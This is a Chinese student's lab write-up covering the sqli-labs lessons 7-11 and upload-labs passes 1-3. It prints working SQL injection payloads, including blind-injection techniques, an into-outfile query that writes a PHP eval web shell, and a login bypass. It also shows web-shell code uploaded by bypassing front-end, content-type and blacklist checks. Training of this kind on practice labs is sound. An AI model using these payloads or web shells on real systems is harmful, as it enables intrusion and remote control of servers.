实训第三天记录-sqli-lab7-11+upload-lab1-3

一、sqli-labs: less7-11
  1. less8-GET-Blind-Boolian Based - Single Quotes

    1. 首先分别用id=1’和 id=1"进行测试

      image-20210723094108903

      image-20210723094151265

      输入1’和1"结果不同,显然是字符型,然后思考,按理说若闭合符错误应产生错误信息,但此处未显示,程序设计人员很可能把mysql的报错信息压制了,但是可以肯定当闭合符错误时不会产生任何信息。且猜测sql语句为:select xxx from xxx where id='1’

      当我们输入1’时,sql语句为select xxx from xxx where id=‘1’’,显然此时多了一个’,sql语句会报错,当我们输入1’%23(即#)时,sql语句为select xxx from xxx where id=‘1’#’,此时,后面的’被注释掉,不会报错,如下图,因此我们判断闭合符为’。注意当输入id=1"%23时依然能照常执行,此时sql语句为select xxx from xxx where id=‘1"#’,理解为闭合符优先级高于#,所以此时#不再当为注释符处理,而是普通字符。

      image-20210723094636724

    2. 接下来进行布尔盲注

      image-20210723094803712

      image-20210723094848261

      采用二分法爆破数据库名长度

      image-20210723095047443

      image-20210723095218752

      由此判断位数为8,接下来依次使用二分法爆破每一位的字母

      image-20210723095356399

      image-20210723095422479

      由此可得第一位字母ascii码为115(base10),为s,接下来利用相同的方法爆破其他位依次为ecurity

  2. less9-GET-Blind-Time Based -Single Quotes

    1. 首先用id=1’和id=1"进行测试,发现都会显示You are in…,故猜测要么为数字型,要么是由于程序设计原因无论sql语句正确与否都显示You are in…

      image-20210723095852611

      image-20210723095905058

    2. 利用sleep函数进行延时注入,首先判断参数类型和闭合符,发现id=1’时网页转了几秒后才返回,而id=1"时,网页立刻返回,这说明,id=1"时sql语句报错,故可以立即返回,而id=1’时,可以查询到结果,故3秒后返回。所以判断’为闭合符,道理同less8中相同

      image-20210723100426035

      image-20210723100444555

    3. 在b的基础上添加and条件爆破信息

      image-20210723100841023

      image-20210723100905607

      得出库名为8位

      image-20210723101007922

      image-20210723101028534

      得出第一个字母为s,其余位按照同样的方法爆破出ecurity

  3. less7-Dump into Outfile

    1. 首先修改my.ini文件

      image-20210723105835332

    2. 判断闭合符

      image-20210723110036764

      image-20210723110057974

      image-20210723110122689

      image-20210723110142394

      故判断闭合符为’))

    3. 利用联合查询注入小马

      ?id=1’)) union select 1,2,"<?php eval($_GET['cmd'])?>" into outfile ‘c:/phpstudy/www/shell.php’%23

      注意windows路径不区分大小写

      虽然语句报错,但可以发现shell.php确实成功写入

      image-20210723110505058

      image-20210723110520255

      image-20210723110554768

      image-20210723110830847

      木马执行成功

  4. less10-GET-Blind-Time Based -Double Quotes

    与less9思路相同,只不过闭合符由单引号变为了双引号,故不再赘述。猜测闭合符时若单双引号都不是,在引号后面加若干右括号进行测试

  5. less11-Error Based-String

    1. 在密码框中测试闭合符

      image-20210723115443743

      发现闭合符就是’

    2. 猜测和构造sql语句 select xxx from t_users where uname=‘xxx’ and pass='yyy’

      构造select xxx from t_users where uname=‘xxx’ and pass='yyy’or 1#'

      用户名随意输入,在密码框中输入**yyy’ or 1#**后结果为下图,可以看出显示了一条查询结果,但实际上后端查询结果是user表的所有记录,只是在前端只渲染了一条记录。那我们该如何获取所有记录呢?

      image-20210723135819353

      一种方法是通过limit m,n来限定查询结果从而获得每一条记录,如下图,输入**yyy’ or 1 limit 1,1#**后结果为

      image-20210723140251928

二、upload-labs1-3
  1. pass-01(前端js验证文件后缀名)

    image-20210723144009252

    1. 首先尝试上传shell.php,内容为:

      <?php 
      	echo "I've got a shell";
      	eval($_REQUEST
      	['cmd']);
      ?>
      

      发现不允许上传

      image-20210723144408346

    2. 通过burpsuite拦截改包,将jpg改为php,然后将拦截放开,可以看到木马上传成功

      image-20210723151002379

      image-20210723151107395

    3. 利用中国菜刀控制被攻击机

      添加木马url

      image-20210723152144231

      可以看到已经可以进入被攻击机

      image-20210723154419877

    4. 在桌面上新建以自己姓名学号命名的文件,进入桌面路径,在空白区域右击新建文件即可

      image-20210723154930774

      可以看到已经新建了一个文件,将其名字进行修改即可

      image-20210723155146218

    5. 查看靶机ip

      右击进入虚拟终端执行ipconfig命令

      image-20210723155314572

      image-20210723155343272

  2. pass-02(限制content-type)

    image-20210723161914690

    1. 查看php源码,发现只允许上传三种类型的文件

      image-20210723162101420

    2. 上传shell.php,内容为:

      <?php 
      	echo "I've got a shell";
      	eval($_REQUEST
      	['cmd']);
      ?>
      

      利用burpsuite抓包改包,将content-type改为image/png

      image-20210723162620346

      此时可发现小马已上传成功

      image-20210723162845018

  3. pass-03

    1. 查看源码可知,该文件上传验证为后端黑名单过滤,故考虑绕过黑名单

      image-20210723163148912

    2. 查看apache的配置文件httpd.conf,发现除了php后缀名,还可以上传phtml后缀名的文件,要把前面的#删除,并重启服务

      image-20210723164016904

    3. 尝试上传shell.phtml,上传成功

      image-20210723171028379

      image-20210723171056828

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值